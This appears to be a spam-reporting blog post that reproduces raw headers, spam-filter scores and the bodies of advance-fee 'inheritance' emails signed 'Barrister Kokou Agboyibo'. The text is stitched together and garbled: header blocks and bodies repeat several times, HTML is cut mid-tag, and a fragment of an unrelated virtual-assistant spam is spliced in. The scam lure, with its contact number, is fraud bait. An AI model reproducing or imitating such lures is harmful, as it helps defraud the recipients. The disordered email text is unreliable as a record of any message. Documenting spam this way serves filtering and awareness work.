ZvMcS5psB5MdzFgWS64/1ieOIdkLK6tptv1nIwXf9uMDtIMek5iK7YbJ7pJOB+I6SF/1SW20Y47
xm4a1LbbCxALPjuN237MXGp6s7IUyj9Q=
X-Gm-Gg: ASbGncuip5+k1CjmpAvTS47rLQbBhM5gdnOl0/O9cqp3UCsfrj8gyOHpxzlg3mYv3iv
tnPYJuOJmhHHnPySo4BppJQhxjk65nuSoQaGgYO5Riq6Ze2pvd7cTlM01Nw1wE6aqHqnT4DtFZo
pzJcTwgSyz77Viy8K3NvToMmJU5ysDI3otT+bRuccxV4p/QAFWQjaBC4lE8zjAvlULjmzBQIV+c
DvzySf8Vr0pI0w173c++ufr0BVfH+pwGUE/4quBM63xII62YHJbLblNfURyW4bDcBIvz3/4mqEb
B+MvpiIg6MemRFZvMwbtBfhqpLEyqt61
X-Google-Smtp-Source: AGHT+IEDjknsKVySHb+Z0/khbGejuGIYRwa7xQLiP22EvmSIvOaLSOzceulDa+WkI6lb4tLV9ngN/mTSiqqvgcwL2o8=
X-Received: by 2002:a05:6512:3b9d:b0:591:c8ef:f838 with SMTP id
2adb3069b0e04-5969ea19b30mr335353e87.17.1763617164461; Wed, 19 Nov 2025
21:39:24 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:39:09 +0000
X-Gm-Features: AWmQ_bl3-6lrCtfvqn29E2Q3OeR3J1PkzwFA_sDpCqIjl70wPHr03YNDg1gaH2Q
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000009b8c3e0644001e03"
Bcc: doctor@doctor.nl2k.ab.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
[209.85.208.172 listed in dnsbl.ahbl.org]
[209.85.208.172 listed in dnsbl.ahbl.org]
[209.85.208.172 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[kokou.esq(at)gmail.com]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.208.172 listed in list.dnswl.org]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.208.172 listed in wl.mailspike.net]
Subject: {SPAM?} Best regards
--0000000000009b8c3e0644001e03
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000009b8c3e0644001e03
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
amily: Calibri, sans-serif; font-size: 11pt;">
Daily admin tasks can slow down your focus on growth. I offer Virtual Assis=
tant support for:
amily: Calibri, sans-serif; font-size: 11pt;">
I=92d love to show how you can save hours each week.
Can we schedule a quick 10-minute chat?
amily: Calibri, sans-serif; font-size: 11pt;">
Best regards,
amily: Calibri, sans-serif; font-size: 11pt;">
David
--_000_SEYPR01MB5147D13070D90D765B781222E8D7ASEYPR01MB5147apcp_--
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vM2o6-00000000OMs-2uI4
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:34 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:34 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lj1-f172.google.com ([209.85.208.172]:43121)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLxOy-000000006lU-3n4p
for doctor@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 22:40:26 -0700
Received: by mail-lj1-f172.google.com with SMTP id 38308e7fff4ca-37bbb36c990so13535831fa.0
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617165; x=1764221965; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=Ic/JoPFzOisH+W72GL2kc2wCJu53Zbq+eihXcLh0J9E=;
b=jU2AgQMnJYy57zOj7VfsUHoHEHjDCCo74SLi0Vp5OrSBOvD7hQ7+7/YUdbn0leRb0E
pu3rv/L5PIwjmxHP8gl0o0hdgVKOaToMIzAxyfWgFumAkuT33uETzxiiS4QMU6CNeyIb
iycooWx38QYyTFUF4avLsAKktIa0Rj2O241t3iXPeyF03x1HnGHiSft95s2rWwOYTe5C
aSeqBe76TOYEZOTuj4pKGrgWZbsf37BUIsSpeJ87bz0HPucJPfm2GgxXmXqG7DTqRfwm
2RMlseD6faCyB7+w/G7ujWPYey00FqAuSV1k2NbgvVcqDHK0tBJpa2F3wDOFYIUhCxc1
1jWA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617165; x=1764221965;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=Ic/JoPFzOisH+W72GL2kc2wCJu53Zbq+eihXcLh0J9E=;
b=dOQ67FPNpunUrtx5bEp2GbZWLJjMYzfjroXBMixVNGggE6aNh6LkQdP1S1C/m1I2vZ
pb+18+9JKKbsHOpzf/fE69YN2at/hknJyb41MAMKhxBR/vs+rMgsomFhlUQ1CzSSlB9X
CT+S5jbVjbM4jES+djDNvNmuIwNfZaXyOK2duBWA7ewMYasaHrvIgqrsrAo7uBwgq+mP
xgUDkaXaBMkM1ZSS4FOmNnYVx7YX8qR/e647rLJRCImhy0B/hh/ts8PIux4bnyAIGnZb
BAlGWuMzPhdFMrLfIPVPSqRj4BM+YxQE811k/PT7XTvDuceIkVYY2jiEz9jD5CDP52NE
yT3A==
X-Forwarded-Encrypted: i=1; AJvYcCV5hUPbyeKurjPO/SgsmvwqZBY71aC/kIWskwQAbHrHVLPUcFUQMwvv6NUMyg8LinLk4nxsMOQ=@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0YyC/yL9TZgzuAXzcDcmPyw3OOGz23HmPC8oyB8ZQ1k0y4UovuU/
ZvMcS5psB5MdzFgWS64/1ieOIdkLK6tptv1nIwXf9uMDtIMek5iK7YbJ7pJOB+I6SF/1SW20Y47
xm4a1LbbCxALPjuN237MXGp6s7IUyj9Q=
X-Gm-Gg: ASbGncuip5+k1CjmpAvTS47rLQbBhM5gdnOl0/O9cqp3UCsfrj8gyOHpxzlg3mYv3iv
tnPYJuOJmhHHnPySo4BppJQhxjk65nuSoQaGgYO5Riq6Ze2pvd7cTlM01Nw1wE6aqHqnT4DtFZo
pzJcTwgSyz77Viy8K3NvToMmJU5ysDI3otT+bRuccxV4p/QAFWQjaBC4lE8zjAvlULjmzBQIV+c
DvzySf8Vr0pI0w173c++ufr0BVfH+pwGUE/4quBM63xII62YHJbLblNfURyW4bDcBIvz3/4mqEb
B+MvpiIg6MemRFZvMwbtBfhqpLEyqt61
X-Google-Smtp-Source: AGHT+IEDjknsKVySHb+Z0/khbGejuGIYRwa7xQLiP22EvmSIvOaLSOzceulDa+WkI6lb4tLV9ngN/mTSiqqvgcwL2o8=
X-Received: by 2002:a05:6512:3b9d:b0:591:c8ef:f838 with SMTP id
2adb3069b0e04-5969ea19b30mr335353e87.17.1763617164461; Wed, 19 Nov 2025
21:39:24 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:39:09 +0000
X-Gm-Features: AWmQ_bl3-6lrCtfvqn29E2Q3OeR3J1PkzwFA_sDpCqIjl70wPHr03YNDg1gaH2Q
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000009b8c3e0644001e03"
Bcc: doctor@doctor.nl2k.ab.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
[209.85.208.172 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
[209.85.208.172 listed in dnsbl.ahbl.org]
[209.85.208.172 listed in dnsbl.ahbl.org]
[209.85.208.172 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.208.172 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[kokou.esq(at)gmail.com]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.208.172 listed in list.dnswl.org]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.208.172 listed in wl.mailspike.net]
Subject: {SPAM?} Best regards
--0000000000009b8c3e0644001e03
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000009b8c3e0644001e03
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
I sent you this =
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000009b8c3e0644001e03--
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000009b8c3e0644001e03--
Nigerian spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 22:41:00 -0700
Received: from mail-lj1-f175.google.com ([209.85.208.175]:52503)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLxOe-000000006ik-39qa
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 22:40:12 -0700
Received: by mail-lj1-f175.google.com with SMTP id 38308e7fff4ca-37ba5af5951so4744911fa.1
for; Wed, 19 Nov 2025 21:39:10 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=g4SdEY8qi8cUK+qQnMHcypFuI5yhONaXawrO+NA+LU/DPtRbOiZgvb99WuQtgFVn0d
E48eoIvmsePoboz/KrJKWe3/ZX5jQRCswgGmZDgc6IKBwZhnVOl2o7AmW8bEjeo7kGaF
SLzUaaFepnaivI2wUf9T7vRshrpgy2S7jxVUfqJ8fVsZVD6xH37N2hsBoEOWHvbVKqeA
usFUQbtklsY99Dg2+ZH+s3U6qSBc7BONTjRaChAgOSVrs1JPtwhhMO4tL9rk8GxM2GCN
Upw+7Zx7bJNxW/DMvebMmzk2dpcVaCOyayOR4vNU909zbiFpO3z2A+FPJRDBkpbLdByh
TJxw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=u0+ETNyxWrhM9Ktotel7/wIkjclJ7CHXnJ1bF9ppLR/TW8AzQPZ6ko/cQERxJwWSP9
YudYvXBiKLwart2tHkniByjJ7xq7wiyJwhvslmzeV5KoFG9W15Y5o9Tkyy565Sbp2i4x
YGiGfqFxrfLkS0H/PfxTR3z2D9KGdCdRcQfFTl1gbl/CaenoMB8OWQHZhgp+MtCt6rML
/TKOdLzj4V43wN1cLTs8sqFK/56Tf9KWdfx7dlxBLhVI254T+pjtkCkV/hOQyvJLSMSw
doQBnKCd6xvKVI+y4xFv66cZaRb1/b2PG5Sg4ANfTzaSMp4z0CpIAkQOatbDhQLiAxAV
denA==
X-Forwarded-Encrypted: i=1; AJvYcCXGSAjLusi8sGnNheX9t9D10kB6/y+Rigcl9H6bCQ9nmLoqNeQr4YSx7kwUiXZFz8vkmyBT@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0YzMHSWNljFOwzNIYUsDE9qm4AE/XVhG9JPLcC2EfUAbkyILvqWx
Ax/LdG44xjyJUknVVpiXBoBEt+uDlYFzIp6GBHvhazFEFXGBvc/1OhEUWnKS7xKIK1MeUB20JI0
kolPyvGgeJ9IwIE9DBNC7iTUmc64Z2GE=
X-Gm-Gg: ASbGnctcvzphAciQe3rULLmXtPkd01qrylXZjy5CI16n1/xjD+jdKk41qCMUb7w7rrF
vLdnvNhhntMUY8DcmZV6gDPU+VBK4OZdttWeyMp8tE3FlFzWVV9NxYzIq6W3EWfZbnQ3zWAkWwN
ALy4YKkadIv+XOnAnQK69CxPyo19cJeBmzOmeVnS9GzhhIUcEg4dNXxwjj6POItAA1mq4PE40CE
VSXpe8DehnzR8o/6xEvmRjhQlyLsdu3K7HdJaw2YZeIxOXEcb4KtdDfea4JHoPkaotKMB4fF801
lxMHTI6yq9GYtHa1zDZSDT3qNivcxDee
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: dave@doctor.nl2k.ab.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
[209.85.208.175 listed in dnsbl.ahbl.org]
[209.85.208.175 listed in dnsbl.ahbl.org]
[209.85.208.175 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[barrister.k.esq(at)gmail.com]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.208.175 listed in list.dnswl.org]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.208.175 listed in wl.mailspike.net]
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
11pt; color: rgb(0, 0, 0);">
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 22:41:00 -0700
Received: from mail-lj1-f175.google.com ([209.85.208.175]:52503)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLxOe-000000006ik-39qa
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 22:40:12 -0700
Received: by mail-lj1-f175.google.com with SMTP id 38308e7fff4ca-37ba5af5951so4744911fa.1
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=g4SdEY8qi8cUK+qQnMHcypFuI5yhONaXawrO+NA+LU/DPtRbOiZgvb99WuQtgFVn0d
E48eoIvmsePoboz/KrJKWe3/ZX5jQRCswgGmZDgc6IKBwZhnVOl2o7AmW8bEjeo7kGaF
SLzUaaFepnaivI2wUf9T7vRshrpgy2S7jxVUfqJ8fVsZVD6xH37N2hsBoEOWHvbVKqeA
usFUQbtklsY99Dg2+ZH+s3U6qSBc7BONTjRaChAgOSVrs1JPtwhhMO4tL9rk8GxM2GCN
Upw+7Zx7bJNxW/DMvebMmzk2dpcVaCOyayOR4vNU909zbiFpO3z2A+FPJRDBkpbLdByh
TJxw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=u0+ETNyxWrhM9Ktotel7/wIkjclJ7CHXnJ1bF9ppLR/TW8AzQPZ6ko/cQERxJwWSP9
YudYvXBiKLwart2tHkniByjJ7xq7wiyJwhvslmzeV5KoFG9W15Y5o9Tkyy565Sbp2i4x
YGiGfqFxrfLkS0H/PfxTR3z2D9KGdCdRcQfFTl1gbl/CaenoMB8OWQHZhgp+MtCt6rML
/TKOdLzj4V43wN1cLTs8sqFK/56Tf9KWdfx7dlxBLhVI254T+pjtkCkV/hOQyvJLSMSw
doQBnKCd6xvKVI+y4xFv66cZaRb1/b2PG5Sg4ANfTzaSMp4z0CpIAkQOatbDhQLiAxAV
denA==
X-Forwarded-Encrypted: i=1; AJvYcCXGSAjLusi8sGnNheX9t9D10kB6/y+Rigcl9H6bCQ9nmLoqNeQr4YSx7kwUiXZFz8vkmyBT@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0YzMHSWNljFOwzNIYUsDE9qm4AE/XVhG9JPLcC2EfUAbkyILvqWx
Ax/LdG44xjyJUknVVpiXBoBEt+uDlYFzIp6GBHvhazFEFXGBvc/1OhEUWnKS7xKIK1MeUB20JI0
kolPyvGgeJ9IwIE9DBNC7iTUmc64Z2GE=
X-Gm-Gg: ASbGnctcvzphAciQe3rULLmXtPkd01qrylXZjy5CI16n1/xjD+jdKk41qCMUb7w7rrF
vLdnvNhhntMUY8DcmZV6gDPU+VBK4OZdttWeyMp8tE3FlFzWVV9NxYzIq6W3EWfZbnQ3zWAkWwN
ALy4YKkadIv+XOnAnQK69CxPyo19cJeBmzOmeVnS9GzhhIUcEg4dNXxwjj6POItAA1mq4PE40CE
VSXpe8DehnzR8o/6xEvmRjhQlyLsdu3K7HdJaw2YZeIxOXEcb4KtdDfea4JHoPkaotKMB4fF801
lxMHTI6yq9GYtHa1zDZSDT3qNivcxDee
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: dave@doctor.nl2k.ab.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
[209.85.208.175 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
[209.85.208.175 listed in dnsbl.ahbl.org]
[209.85.208.175 listed in dnsbl.ahbl.org]
[209.85.208.175 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.208.175 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[barrister.k.esq(at)gmail.com]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.208.175 listed in list.dnswl.org]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.208.175 listed in wl.mailspike.net]
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
I sent you this =
letter days ago about the inheritance, Please contact me for more details.<=
/span>
